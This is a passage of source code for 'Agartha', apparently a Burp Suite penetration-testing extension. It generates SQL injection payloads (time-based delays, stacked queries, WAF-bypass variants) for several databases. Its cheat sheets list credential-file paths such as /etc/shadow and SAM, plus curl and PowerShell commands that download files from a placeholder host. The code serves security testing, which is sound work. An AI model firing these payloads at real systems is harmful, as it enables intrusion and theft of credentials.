1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600)" + "\n") 540 | listSQLi.append(prefix + escapeChar + ";select case when " + n1 + "=" + n1 +" then " + escapeChar + "a" + escapeChar + "||dbms_pipe.receive_message(1,3600) else null end from dual " + suffix + "\n") 541 | listSQLi.append(prefix + escapeChar + " and 1337=dbms_pipe.receive_message(1,3600)" + suffix + "\n") 542 | listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message(1,3600)" + suffix + "\n") 543 | listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message(1,3600)" + "\n") 544 | listSQLi.append(prefix + escapeChar + " or 1337=dbms_pipe.receive_message(1,3600)" + suffix + "\n") 545 | listSQLi.append(prefix + " or 1337=dbms_pipe.receive_message(1,3600)" + suffix + "\n") 546 | listSQLi.append(prefix + " or 1337=dbms_pipe.receive_message(1,3600)" + "\n") 547 | else: 548 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(('a'),3600) else null end from dual" + suffix + "\n") 549 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(('a'),3600) else null end from dual" + "\n") 550 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(1,3600) else null end from dual" + suffix + "\n") 551 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then 'a'||dbms_pipe.receive_message(1,3600) else null end from dual" + "\n") 552 | if self._cbSqlWafBypass.isSelected(): 553 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message((\\'a\\'),3600) else null end from dual" + suffix + "\n") 554 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message((\\'a\\'),3600) else null end from dual" + "\n") 555 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message(1,3600) else null end from dual" + suffix + "\n") 556 | listSQLi.append(prefix + ";select case when " + n1 + "=" + n1 +" then \\'a\\'||dbms_pipe.receive_message(1,3600) else null end from dual" + "\n") 557 | if self._cbMysqlBased.isSelected(): 558 | if self._cbStackedSQL.isSelected(): 559 | listSQLi.append(prefix + escapeChar + ";select @@version" + suffix + "\n") 560 | if not escapeChar: 561 | listSQLi.append(prefix + ";select @@version" + "\n") 562 | if self._cbTimeBased.isSelected(): 563 | if escapeChar: 564 | listSQLi.append(prefix + escapeChar + ";select sleep(3600)" + suffix + "\n") 565 | listSQLi.append(prefix + escapeChar + " and sleep(3600)" + suffix + "\n") 566 | listSQLi.append(prefix + escapeChar + " or sleep(3600)" + suffix + "\n") 567 | listSQLi.append(prefix + escapeChar + " and 1337=(select 1337 from (select sleep(3600))A)" + suffix + "\n") 568 | listSQLi.append(prefix + escapeChar + " or 1337=(select 1337 from (select sleep(3600))A)" + suffix + "\n") 569 | else: 570 | listSQLi.append(prefix + " and sleep(3600)" + suffix + "\n") 571 | listSQLi.append(prefix + " and sleep(3600)" + "\n") 572 | listSQLi.append(prefix + " or sleep(3600)" + suffix + "\n") 573 | listSQLi.append(prefix + " or sleep(3600)" + "\n") 574 | listSQLi.append(prefix + ";select sleep(3600)" + "\n") 575 | listSQLi.append(prefix + ";select sleep(3600)" + suffix + "\n") 576 | listSQLi.append(prefix + " and 1337=(select 1337 from (select sleep(3600))A)" + suffix + "\n") 577 | listSQLi.append(prefix + " and 1337=(select 1337 from (select sleep(3600))A)" + "\n") 578 | listSQLi.append(prefix + " or 1337=(select 1337 from (select sleep(3600))A)" + suffix + "\n") 579 | listSQLi.append(prefix + " or 1337=(select 1337 from (select sleep(3600))A)" + "\n") 580 | listSQLi.append(prefix + "sleep(3600)" + suffix + "\n") 581 | listSQLi.append(prefix + "sleep(3600)" + "\n") 582 | if self._cbPostgreBased.isSelected(): 583 | if self._cbStackedSQL.isSelected(): 584 | listSQLi.append(prefix + escapeChar + ";select version()" + suffix + "\n") 585 | if not escapeChar: 586 | listSQLi.append(prefix + ";select version()" + "\n") 587 | if self._cbTimeBased.isSelected(): 588 | if escapeChar: 589 | listSQLi.append(prefix + escapeChar + ";select pg_sleep(3600)" + suffix + "\n") 590 | listSQLi.append(prefix + escapeChar + " and 1337=(select 1337 from pg_sleep(3600))" + suffix + "\n") 591 | listSQLi.append(prefix + escapeChar + " or 1337=(select 1337 from pg_sleep(3600))" + suffix + "\n") 592 | else: 593 | listSQLi.append(prefix + ";select pg_sleep(3600)" + suffix + "\n") 594 | listSQLi.append(prefix + ";select pg_sleep(3600)" + "\n") 595 | listSQLi.append(prefix + " and 1337=(select 1337 from pg_sleep(3600))" + suffix + "\n") 596 | listSQLi.append(prefix + " and 1337=(select 1337 from pg_sleep(3600))" + "\n") 597 | listSQLi.append(prefix + " or 1337=(select 1337 from pg_sleep(3600))" + suffix + "\n") 598 | listSQLi.append(prefix + " or 1337=(select 1337 from pg_sleep(3600))" + "\n") 599 | if self._cbMssqlBased.isSelected(): 600 | if self._cbStackedSQL.isSelected(): 601 | listSQLi.append(prefix + escapeChar + ";select @@version" + suffix + "\n") 602 | if not escapeChar: 603 | listSQLi.append(prefix + escapeChar + ";select @@version" + "\n") 604 | if self._cbTimeBased.isSelected(): 605 | if escapeChar: 606 | listSQLi.append(prefix + escapeChar + " waitfor delay " + escapeChar + "01:00" + escapeChar + suffix + "\n") 607 | listSQLi.append(prefix + escapeChar + ";waitfor delay " + escapeChar + "01:00" + escapeChar + suffix + "\n") 608 | else: 609 | listSQLi.append(prefix + " waitfor delay '01:00'" + suffix + "\n") 610 | listSQLi.append(prefix + " waitfor delay '01:00'" + "\n") 611 | listSQLi.append(prefix + ";waitfor delay '01:00'" + suffix + "\n") 612 | listSQLi.append(prefix + ";waitfor delay '01:00'" + "\n") 613 | if self._cbSqlWafBypass.isSelected(): 614 | listSQLi.append(prefix + " waitfor delay \\'01:00\\'" + suffix + "\n") 615 | listSQLi.append(prefix + " waitfor delay \\'01:00\\'" + "\n") 616 | listSQLi.append(prefix + ";waitfor delay \\'01:00\\'" + suffix + "\n") 617 | listSQLi.append(prefix + ";waitfor delay \\'01:00\\'" + "\n") 618 | listSQLi = list(set(listSQLi)) 619 | listSQLi.sort() 620 | if self._cbSqlEncoding.isSelected(): 621 | listSQLi = self.encodeURL(listSQLi) 622 | self._tabDictResultDisplay.setText(''.join(map(str, listSQLi))) 623 | self._lblStatusLabel.setText('SQLi payload generation is returned with '+ str(len(listSQLi)) + ' records!') 624 | return 625 | 626 | def encodeURL(self, payloads): 627 | urlList = [] 628 | for payload in payloads: 629 | urlList.append(payload.replace(" ", "%20").replace("'", "%27").replace("\"", "%22").replace("\\", "%5c").replace("=", "%3d").replace("<", "%3c").replace(";", "%3b").replace("|", "%7c").replace("&", "%26").replace(":", "%3a").replace("`", "%60").replace(":", "%3a").replace("#", "%23")) 630 | return urlList 631 | 632 | def getTabCaption(self): 633 | return "Agartha" 634 | 635 | def getUiComponent(self): 636 | return self._MainTabs 637 | 638 | def getHttpService(self): 639 | return self.httpReqRes[self.tableMatrix.getSelectedColumn()-1][self.tableMatrix.getSelectedRow()].getHttpService() 640 | 641 | def getRequest(self): 642 | return self.httpReqRes[self.tableMatrix.getSelectedColumn()-1][self.tableMatrix.getSelectedRow()].getRequest() 643 | 644 | def getResponse(self): 645 | return self.httpReqRes[self.tableMatrix.getSelectedColumn()-1][self.tableMatrix.getSelectedRow()].getResponse() 646 | 647 | def createMenuItems(self, invocation): 648 | self.context = invocation 649 | menu_list = ArrayList() 650 | menu_list.add(JMenuItem("Agartha Panel", actionPerformed=self.agartha_menu)) 651 | menu_list.add(JMenuItem("Copy as JavaScript", actionPerformed=self.js_menu)) 652 | return menu_list 653 | 654 | def js_menu(self,event): 655 | # right click menu 656 | clipboard = Toolkit.getDefaultToolkit().getSystemClipboard() 657 | http_contexts = self.context.getSelectedMessages() 658 | _req = self._helpers.bytesToString(http_contexts[0].getRequest()) 659 | _url = str(self._helpers.analyzeRequest(http_contexts[0]).getUrl()) 660 | method = _req.splitlines()[0].split(" ", 1)[0] 661 | 662 | if "]" in _req.splitlines()[-1] or "}" in _req.splitlines()[-1] or ">" in _req.splitlines()[-1]: 663 | jscript = "JSON/XML is not supported yet :/" 664 | else: 665 | fullHeader = "" 666 | for line in _req.splitlines()[1:-1]: 667 | if line and not any(re.findall(r'cookie|token|auth', line, re.IGNORECASE)): 668 | fullHeader += "xhr.setRequestHeader('" + line.split(":", 1)[0] + "','" + line.split(":", 1)[1] + "');" 669 | 670 | if method == "GET": 671 | minHeader = "var xhr=new XMLHttpRequest();xhr.open('GET','" + _url + "');xhr.withCredentials=true;" 672 | jscript = "Http request with minimum header paramaters in JavaScript:\n\t\n\n" 673 | jscript += "Http request with all header paramaters (except cookies, tokens, etc) in JavaScript, you may need to remove unnecessary fields:\n\t" 674 | else: 675 | contentType = "" 676 | for line in _req.splitlines(): 677 | if any(re.findall(r'Content-type', line, re.IGNORECASE)): 678 | contentType = line.split(" ", 1)[1] 679 | break 680 | if contentType: 681 | contentType = "xhr.setRequestHeader('Content-type','" + contentType + "');" 682 | 683 | sendData = "" 684 | if _req.splitlines()[-1]: 685 | sendData = "'" + _req.splitlines()[-1] + "'" 686 | 687 | minHeader = "var xhr=new XMLHttpRequest();xhr.open('" + method + "','" + _url + "');xhr.withCredentials=true;" 688 | jscript = "Http request with minimum header paramaters in JavaScript:\n\t\n\n" 689 | jscript += "Http request with all header paramaters (except cookies, tokens, etc) in JavaScript, you may need to remove unnecessary fields:\n\t" 690 | jscript += "\n\nFor redirection, please also add this code before '' tag:\n\txhr.onreadystatechange=function(){if (this.status===302){var location=this.getResponseHeader('Location');return ajax.call(this,location);}};" 691 | 692 | clipboard.setContents(StringSelection(jscript), None) 693 | 694 | def agartha_menu(self,event): 695 | # right click menu 696 | http_contexts = self.context.getSelectedMessages() 697 | _req = self._helpers.bytesToString(http_contexts[0].getRequest()) 698 | _url = "" 699 | for http_context in http_contexts: 700 | _url += str(self._helpers.analyzeRequest(http_context).getUrl()) + "\n" 701 | self._tbAuthHeader.setText(_req) 702 | self._tbAuthURL.setText(_url) 703 | self._MainTabs.setSelectedComponent(self._tabAuthSplitpane) 704 | self._MainTabs.getParent().setSelectedComponent(self._MainTabs) 705 | 706 | def authMatrix(self, ev): 707 | t = Thread(target=self.authMatrixThread,args=[self]) 708 | t.start() 709 | return 710 | 711 | def _updateReqResView(self, ev): 712 | try: 713 | row = self.tableMatrix.getSelectedRow() 714 | userID = self.tableMatrix.getSelectedColumn() 715 | if userID == 0: 716 | self._requestViewer.setMessage("", False) 717 | self._responseViewer.setMessage("", False) 718 | else: 719 | self._requestViewer.setMessage(self.httpReqRes[userID-1][row].getRequest(), False) 720 | self._responseViewer.setMessage(self.httpReqRes[userID-1][row].getResponse(), False) 721 | except: 722 | self._requestViewer.setMessage("", False) 723 | self._responseViewer.setMessage("", False) 724 | 725 | def isURLValid(self, urlAdd): 726 | if " " in urlAdd.strip(): 727 | return False 728 | elif urlAdd.startswith("http"): 729 | return True 730 | else: 731 | #white space exception 732 | if urlAdd: 733 | return False 734 | else: 735 | return True 736 | 737 | def sessionHandler(self, httpReqHeader, httpReqData, httpResHeader, httpResBody): 738 | httpReqHeader = "\n".join(httpReqHeader.split("\n")) 739 | for line in httpReqHeader.splitlines()[1:]: 740 | if not any(re.findall(r'Accept:|Accept-|Cache|Connection:|Content-|Date|Expect|Forwarded|From|Host|If-Match|If-Modified-Since|If-None-Match|If-Range|If-Unmodified-Since|Max-Forwards|Origin|Pragma|Range|Referer|Upgrade|User-Agent|Warning|DNT:', line, re.IGNORECASE)): 741 | for d1 in line.split(':')[1:]: 742 | for d2 in d1.split(';'): 743 | param = str(d2.split('=')[0]).strip() 744 | value = str(d2.split('=')[1]).strip() 745 | if (re.findall(param, str(httpResHeader), re.IGNORECASE)): 746 | for line2 in httpResHeader.splitlines(): 747 | for dd1 in line2.split(':')[1:]: 748 | for dd2 in dd1.split(';'): 749 | if param in dd2: 750 | httpReqHeader = httpReqHeader.replace(value, str(dd2.split('=')[1])) 751 | break 752 | 753 | if httpReqData: 754 | httpResBody = str(httpResBody).replace('\'','').replace('\"','') 755 | for d1 in httpReqData.split('&'): 756 | param = str(d1.split('=')[0]).strip() 757 | value = str(d1.split('=')[1]).strip() 758 | if (re.findall(param, str(httpResBody), re.IGNORECASE)): 759 | for line in httpResBody.splitlines(): 760 | if param in line: 761 | for d2 in line.split(' '): 762 | if 'value' == str(d2.split('=')[0]): 763 | if not value == str(d2.split('=')[1]): 764 | httpReqData = httpReqData.replace(value, str(d2.split('=')[1])) 765 | break 766 | return httpReqHeader+ "\r\n\r\n" + httpReqData 767 | return httpReqHeader 768 | 769 | def _tabAuthUI(self): 770 | #panel top 771 | self._tbAuthNewUser = JTextField("", 15) 772 | self._tbAuthNewUser.setToolTipText("Please provide an username") 773 | self._btnAuthNewUserAdd = JButton("Add User", actionPerformed=self.authAdduser) 774 | self._btnAuthNewUserAdd.setPreferredSize(Dimension(90,27)) 775 | self._btnAuthNewUserAdd.setToolTipText("Please add user/s to populate authentication matrix!") 776 | self._btnAuthRun = JButton("RUN", actionPerformed=self.authMatrix) 777 | self._btnAuthRun.setPreferredSize(Dimension(150,27)) 778 | self._btnAuthRun.setToolTipText("Start comparison") 779 | self._btnAuthReset = JButton("Reset", actionPerformed=self.tableMatrixReset) 780 | self._btnAuthReset.setPreferredSize(Dimension(90,27)) 781 | self._btnAuthReset.setToolTipText("Clear all") 782 | self._btnAuthRun.setEnabled(False) 783 | self._btnAuthReset.setEnabled(False) 784 | self._tbAuthHeader = JTextPane() 785 | self._tbAuthHeader.setContentType("text") 786 | self._tbAuthHeader.setToolTipText("HTTP request belons to the user. You may copy and paste it from Repater/Proxy") 787 | self._tbAuthHeader.setEditable(True) 788 | self._tbAuthURL = JTextPane() 789 | self._tbAuthURL.setContentType("text") 790 | self._tbAuthURL.setToolTipText("What url links can be accessible by her/him. Please dont forget to remove logout links!") 791 | self._tbAuthURL.setEditable(True) 792 | self._cbAuthColoring = JCheckBox('ColorFul', True, itemStateChanged=self._cbAuthColoringFunc) 793 | self._cbAuthColoring.setEnabled(False) 794 | self._cbAuthColoring.setToolTipText("Colors may help to analysis easily") 795 | self._cbAuthGETPOST = JComboBox(('GET', 'POST')) 796 | self._cbAuthGETPOST.setSelectedIndex(0) 797 | self._cbAuthGETPOST.setToolTipText("Which HTTP method will be used for the test") 798 | self._cbAuthSessionHandling = JCheckBox('Session Handler*', False) 799 | self._cbAuthSessionHandling.setEnabled(False) 800 | self._cbAuthSessionHandling.setVisible(False) 801 | self._cbAuthSessionHandling.setToolTipText("Experimental feature: Auto-updates cookies and paramaters, like CSRF tokens.") 802 | 803 | #top panel 804 | _tabAuthPanel1 = JPanel(BorderLayout()) 805 | _tabAuthPanel1.setBorder(EmptyBorder(0, 0, 10, 0)) 806 | _tabAuthPanel1_A = JPanel(FlowLayout(FlowLayout.LEADING, 10, 10)) 807 | _tabAuthPanel1_A.setPreferredSize(Dimension(400,105)) 808 | _tabAuthPanel1_A.setMinimumSize(Dimension(400,105)) 809 | _tabAuthPanel1_A.add(self._btnAuthNewUserAdd) 810 | _tabAuthPanel1_A.add(self._tbAuthNewUser) 811 | _tabAuthPanel1_A.add(self._cbAuthGETPOST) 812 | _tabAuthPanel1_A.add(self._btnAuthReset) 813 | _tabAuthPanel1_A.add(self._btnAuthRun) 814 | _tabAuthPanel1_A.add(self._cbAuthColoring) 815 | _tabAuthPanel1_A.add(self._cbAuthSessionHandling) 816 | _tabAuthPanel1_B = JScrollPane(self._tbAuthHeader, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS,JScrollPane.HORIZONTAL_SCROLLBAR_NEVER) 817 | _tabAuthPanel1_C = JScrollPane(self._tbAuthURL, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS,JScrollPane.HORIZONTAL_SCROLLBAR_NEVER) 818 | self._tabAuthSplitpaneHttp = JSplitPane(JSplitPane.HORIZONTAL_SPLIT, _tabAuthPanel1_B, _tabAuthPanel1_C) 819 | _tabAuthPanel1.add(_tabAuthPanel1_A,BorderLayout.WEST) 820 | _tabAuthPanel1.add(self._tabAuthSplitpaneHttp,BorderLayout.CENTER) 821 | #panel top 822 | 823 | #panel center 824 | self._lblAuthNotification = JLabel("", SwingConstants.LEFT) 825 | self.tableMatrix = [] 826 | self.tableMatrix_DM = CustomDefaultTableModel(self.tableMatrix, ('URLS','NoAuth')) 827 | self.tableMatrix = JTable(self.tableMatrix_DM) 828 | self.tableMatrix.setAutoCreateRowSorter(False) 829 | self.tableMatrix.setSelectionForeground(Color.red) 830 | self.tableMatrix.getSelectionModel().addListSelectionListener(self._updateReqResView) 831 | self.tableMatrix.getColumnModel().getSelectionModel().addListSelectionListener(self._updateReqResView) 832 | self.tableMatrix.setOpaque(True) 833 | self.tableMatrix.setFillsViewportHeight(True) 834 | self.tableMatrix_SP = JScrollPane() 835 | self.tableMatrix_SP.getViewport().setView((self.tableMatrix)) 836 | _tabAuthPanel2 = JPanel() 837 | _tabAuthPanel2.setLayout(BoxLayout(_tabAuthPanel2, BoxLayout.Y_AXIS)) 838 | _tabAuthPanel2.add(self._lblAuthNotification,BorderLayout.NORTH) 839 | _tabAuthPanel2.add(self.tableMatrix_SP,BorderLayout.NORTH) 840 | self.progressBar = JProgressBar() 841 | self.progressBar.setMaximum(1000000) 842 | self.progressBar.setMinimum(0) 843 | _tabAuthPanel2.add( self.progressBar, BorderLayout.SOUTH) 844 | #panel center 845 | 846 | self._tabAuthPanel = JSplitPane(JSplitPane.VERTICAL_SPLIT) 847 | self._tabAuthPanel.setBorder(EmptyBorder(10, 10, 10, 10)) 848 | self._tabAuthPanel.setTopComponent(_tabAuthPanel1) 849 | self._tabAuthPanel.setBottomComponent(_tabAuthPanel2) 850 | 851 | #panel bottom 852 | _tabsReqRes = JTabbedPane() 853 | self._requestViewer = self._callbacks.createMessageEditor(self, False) 854 | self._responseViewer = self._callbacks.createMessageEditor(self, False) 855 | _tabsReqRes.addTab("Request", self._requestViewer.getComponent()) 856 | _tabsReqRes.addTab("Response", self._responseViewer.getComponent()) 857 | #panel bottom 858 | 859 | self._tabAuthSplitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) 860 | self._tabAuthSplitpane.setTopComponent(self._tabAuthPanel) 861 | self._tabAuthSplitpane.setBottomComponent(_tabsReqRes) 862 | 863 | def _tabDictUI(self): 864 | #top panel 865 | self._txtDefaultLFI = "Example: 'etc/passwd', 'C:\\boot.ini'" 866 | self._txtDefaultCommandInj = "Examples: $'sleep 3600', >'timeout 3600'" 867 | self._txtDefaultSQLi = "No input is needed to supply!" 868 | self._txtCheatSheetLFI = "" 869 | self._txtCheatSheetLFI += "Directory Traversal Linux\t\t\tDirectory Traversal Windows\n" 870 | self._txtCheatSheetLFI += "\t/etc/passwd\t\t\t\tC:\\boot.ini\n" 871 | self._txtCheatSheetLFI += "\t/etc/profile\t\t\t\t\tC:\Windows\win.ini\n" 872 | self._txtCheatSheetLFI += "\t/proc/self/environ\t\t\t\tC:\windows\system.ini\n" 873 | self._txtCheatSheetLFI += "\t/proc/self/status\t\t\t\tC:\windows\system32\\notepad.exe\n" 874 | self._txtCheatSheetLFI += "\t/etc/hosts\t\t\t\t\tC:\Windows\System32\drivers\etc\hosts\n" 875 | self._txtCheatSheetLFI += "\t/etc/shadow\t\t\t\tC:\Windows\System32\Config\SAM\n" 876 | self._txtCheatSheetLFI += "\t/etc/group\t\t\t\t\tC:\users\public\desktop\desktop.ini\n" 877 | self._txtCheatSheetLFI += "\t/var/log/auth.log\t\t\t\tC:\windows\system32\eula.txt\n" 878 | self._txtCheatSheetLFI += "\t/var/log/auth.log\t\t\t\tC:\windows\system32\license.rtf\n" 879 | self._txtCheatSheetCommandInj = "" 880 | self._txtCheatSheetCommandInj += "Command Inj Unix\t\t\t\t\tCommand Inj Windows\n" 881 | self._txtCheatSheetCommandInj += "\tcat /etc/passwd\t\t\t\t\tcmd.exe?/c type file.txt\n" 882 | self._txtCheatSheetCommandInj += "\tuname -a\t\t\t\t\t\tsysteminfo\n" 883 | self._txtCheatSheetCommandInj += "\t/usr/bin/id\t\t\t\t\t\twhoami /priv\n" 884 | self._txtCheatSheetCommandInj += "\tping -c 10 X.X.X.X\t\t\t\t\tping -n 10 X.X.X.X\n" 885 | self._txtCheatSheetCommandInj += "\tcurl http://X.X.X.X/file.txt -o /tmp/file.txt\t\t\tpowershell (new-object System.Net.WebClient).DownloadFile('http://X.X.X.X/file.txt','C:\\file.txt')\n" 886 | _lblDepth = JLabel("( Depth =", SwingConstants.LEFT) 887 | _btnGenerateDict = JButton("Generate the Payload", actionPerformed=self.funcGeneratePayload) 888 | self._lblStatusLabel = JLabel() 889 | self._lblStatusLabel.setText("Please provide a path for payload generation!") 890 | self._txtTargetPath = JTextField(self._txtDefaultLFI, 30) 891 | self._rbDictLFI = JRadioButton('DT/LFI', True, itemStateChanged=self.funcRBSelection); 892 | self._rbDictCommandInj = JRadioButton('Command Inj / RCE', itemStateChanged=self.funcRBSelection) 893 | self._rbDictSQLi = JRadioButton('SQLi', itemStateChanged=self.funcRBSelection) 894 | _rbDictCheatSheet = JRadioButton('Cheat Sheet', itemStateChanged=self.funcRBSelection) 895 | _rbDictFuzzer = JRadioButton('Fuzzer', itemStateChanged=self.funcRBSelection) 896 | _rbPanel = JPanel() 897 | _rbPanel.add(self._rbDictLFI) 898 | _rbPanel.add(self._rbDictCommandInj) 899 | _rbPanel.add(self._rbDictSQLi) 900 | _rbGroup = ButtonGroup() 901 | _rbGroup.add(self._rbDictLFI) 902 | _rbGroup.add(self._rbDictCommandInj) 903 | _rbGroup.add(self._rbDictSQLi) 904 | _rbGroup.add(_rbDictCheatSheet) 905 | _rbGroup.add(_rbDictFuzzer) 906 | self._cbDictWafBypass = JCheckBox('Waf Bypass', True) 907 | self._cbDictEquality = JCheckBox(')', False) 908 | self._cbDictDepth = JComboBox(list(range(0, 20))) 909 | self._cbDictDepth.setSelectedIndex(5) 910 | _cbDictDepthPanel = JPanel(FlowLayout(FlowLayout.LEADING, 10, 0)) 911 | _cbDictDepthPanel.add(self._cbDictDepth) 912 | self._cbDictCommandInjEncoding = JCheckBox('URL Encoding', False) 913 | self._cbDictCommandInjOpt = JPanel(FlowLayout(FlowLayout.LEADING, 10, 0)) 914 | self._cbDictCommandInjOpt.add(self._cbDictCommandInjEncoding) 915 | self._cbDictCommandInjOpt.setVisible(False) 916 | self._cbStackedSQL = JCheckBox('Stacked Queries', False) 917 | self._cbTimeBased = JCheckBox('Time-Based', True) 918 | self._cbUnionBased = JCheckBox('Union-Based', False) 919 | self._cbUnionDepth = JComboBox(list(range(1, 20))) 920 | self._cbUnionDepth.setSelectedIndex(4) 921 | self._cbOrderBased = JCheckBox('Order-Based', False) 922 | self._cbOrderDepth = JComboBox(list(range(1, 20))) 923 | self._cbOrderDepth.setSelectedIndex(4) 924 | self._cbBooleanBased = JCheckBox('Boolean-Based', True) 925 | self._cbMssqlBased = JCheckBox('MSSQL', True) 926 | self._cbMysqlBased = JCheckBox('MYSQL', True) 927 | self._cbPostgreBased = JCheckBox('POSTGRESQL', True) 928 | self._cbOracleBased = JCheckBox('ORACLE', True) 929 | self._cbSqlWafBypass = JCheckBox('Waf Bypass', True) 930 | self._cbSqlEncoding = JCheckBox('URL Encoding', False) 931 | _tabDictPanel_1 = JPanel(FlowLayout(FlowLayout.LEADING, 10, 10)) 932 | _tabDictPanel_1.add(self._txtTargetPath, BorderLayout.PAGE_START) 933 | _tabDictPanel_1.add(_btnGenerateDict, BorderLayout.PAGE_START) 934 | _tabDictPanel_1.add(_rbPanel, BorderLayout.PAGE_START) 935 | self._tabDictPanel_LFI = JPanel(FlowLayout(FlowLayout.LEADING, 10, 0)) 936 | self._tabDictPanel_LFI.add(_lblDepth, BorderLayout.PAGE_START) 937 | self._tabDictPanel_LFI.add(self._cbDictEquality, BorderLayout.PAGE_START) 938 | self._tabDictPanel_LFI.add(_cbDictDepthPanel, BorderLayout.PAGE_START) 939 | self._tabDictPanel_LFI.add(self._cbDictWafBypass, BorderLayout.PAGE_START) 940 | self._tabDictPanel_LFI.setVisible(True) 941 | self._tabDictPanel_SQLType = JPanel(FlowLayout(FlowLayout.LEADING, 10, 0)) 942 | self._tabDictPanel_SQLType.add(self._cbMysqlBased, BorderLayout.PAGE_START) 943 | self._tabDictPanel_SQLType.add(self._cbPostgreBased, BorderLayout.PAGE_START) 944 | self._tabDictPanel_SQLType.add(self._cbMssqlBased, BorderLayout.PAGE_START) 945 | self._tabDictPanel_SQLType.add(self._cbOracleBased, BorderLayout.PAGE_START) 946 | self._tabDictPanel_SQLType.setVisible(False) 947 | self._tabDictPanel_SQLOptions = JPanel(FlowLayout(FlowLayout.LEADING, 10, 0)) 948 | self._tabDictPanel_SQLOptions.add(self._cbSqlEncoding, BorderLayout.PAGE_START) 949 | self._tabDictPanel_SQLOptions.add(self._cbSqlWafBypass, BorderLayout.PAGE_START) 950 | self._tabDictPanel_SQLOptions.setVisible(False) 951 | self._tabDictPanel_SQLi = JPanel(FlowLayout(FlowLayout.LEADING, 10, 0)) 952 | self._tabDictPanel_SQLi.add(self._cbStackedSQL, BorderLayout.PAGE_START) 953 | self._tabDictPanel_SQLi.add(self._cbBooleanBased, BorderLayout.PAGE_START) 954 | self._tabDictPanel_SQLi.add(self._cbTimeBased, BorderLayout.PAGE_START) 955 | self._tabDictPanel_SQLi.add(self._cbUnionBased, BorderLayout.PAGE_START) 956 | self._tabDictPanel_SQLi.add(self._cbUnionDepth, BorderLayout.PAGE_START) 957 | self._tabDictPanel_SQLi.add(self._cbOrderBased, BorderLayout.PAGE_START) 958 | self._tabDictPanel_SQLi.add(self._cbOrderDepth, BorderLayout.PAGE_START) 959 | self._tabDictPanel_SQLi.setVisible(False) 960 | _tabDictPanel_1.add(self._tabDictPanel_LFI, BorderLayout.PAGE_START) 961 | _tabDictPanel_1.add(self._cbDictCommandInjOpt, BorderLayout.PAGE_START) 962 | _tabDictPanel_1.add(self._tabDictPanel_SQLType, BorderLayout.PAGE_START) 963 | _tabDictPanel_1.add(self._tabDictPanel_SQLOptions, BorderLayout.PAGE_START) 964 | _tabDictPanel_1.add(self._tabDictPanel_SQLi, BorderLayout.PAGE_START) 965 | _tabDictPanel_1.setPreferredSize(Dimension(400,90)) 966 | _tabDictPanel_1.setMinimumSize(Dimension(400,90)) 967 | #top panel 968 | 969 | #center panel 970 | _tabDictPanel_2 = JPanel(FlowLayout(FlowLayout.LEADING, 10, 0)) 971 | _tabDictPanel_2.add(self._lblStatusLabel) 972 | #center panel 973 | 974 | #bottom panel 975 | self._tabDictResultDisplay = JTextPane() 976 | self._tabDictResultDisplay.setFont(self._tabDictResultDisplay.getFont().deriveFont(Font.PLAIN, 14)) 977 | self._tabDictResultDisplay.setContentType("text") 978 | self._tabDictResultDisplay.setText(self._txtCheatSheetLFI) 979 | self._tabDictResultDisplay.setEditable(False) 980 | _tabDictPanel_3 = JPanel(BorderLayout(10, 10)) 981 | _tabDictPanel_3.setBorder(EmptyBorder(10, 0, 0, 0)) 982 | _tabDictPanel_3.add(JScrollPane(self._tabDictResultDisplay), BorderLayout.CENTER) 983 | #bottom panel 984 | 985 | self._tabDictPanel = JPanel() 986 | self._tabDictPanel.setLayout(BoxLayout(self._tabDictPanel, BoxLayout.Y_AXIS)) 987 | self._tabDictPanel.add(_tabDictPanel_1) 988 | self._tabDictPanel.add(_tabDictPanel_2) 989 | self._tabDictPanel.add(_tabDictPanel_3) 990 | 991 | def tableMatrixReset(self, ev): 992 | self.tableMatrix = [] 993 | self.tableMatrix_DM = CustomDefaultTableModel(self.tableMatrix, ('URLS','NoAuth')) 994 | self.tableMatrix = JTable(self.tableMatrix_DM) 995 | self.tableMatrix_SP.getViewport().setView((self.tableMatrix)) 996 | self.userCount = 0 997 | self.userNames = [] 998 | self.userNames.append("NoAuth") 999 | self.userNamesHttpReq = [] 1000 | self.userNamesHttpReq.append("") 1001 | self.userNamesHttpReqD = [] 1002 | self.userNamesHttpReqD.append("") 1003 | self.userNamesHttpUrls = [[]] 1004 | self.httpReqRes = [[],[],[],[],[]] 1005 | self.httpReqRes.append([]) 1006 | self._requestViewer.setMessage("", False) 1007 | self._responseViewer.setMessage("", False) 1008 | self._lblAuthNotification.text = "Please add users to create an auth matrix" 1009 | self._tbAuthNewUser.setForeground (Color.black) 1010 | self._txtHeaderDefault = "GET / HTTP/1.1\nHost: localhost\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: SessionID=......." 1011 | self._tbAuthHeader.setText(self._txtHeaderDefault) 1012 | self._txtURLDefault = "http://...." 1013 | self._tbAuthURL.setText(self._txtURLDefault) 1014 | self._txtUserDefault = "User1" 1015 | self._tbAuthNewUser.text = self._txtUserDefault 1016 | self._btnAuthRun.setEnabled(False) 1017 | self._btnAuthReset.setEnabled(False) 1018 | self._cbAuthColoring.setEnabled(False) 1019 | self._cbAuthSessionHandling.setEnabled(False) 1020 | self._cbAuthGETPOST.setEnabled(False) 1021 | self._cbAuthGETPOST.setSelectedIndex(0) 1022 | self._btnAuthNewUserAdd.setEnabled(True) 1023 | self.progressBar.setValue(0) 1024 | self.tableMatrix.getSelectionModel().addListSelectionListener(self._updateReqResView) 1025 | self.tableMatrix.getColumnModel().getSelectionModel().addListSelectionListener(self._updateReqResView) 1026 | self._tabAuthSplitpaneHttp.setDividerLocation(0.5) 1027 | self._tabAuthPanel.setDividerLocation(0.25) 1028 | self._tabAuthSplitpane.setDividerLocation(0.7) 1029 | return 1030 | 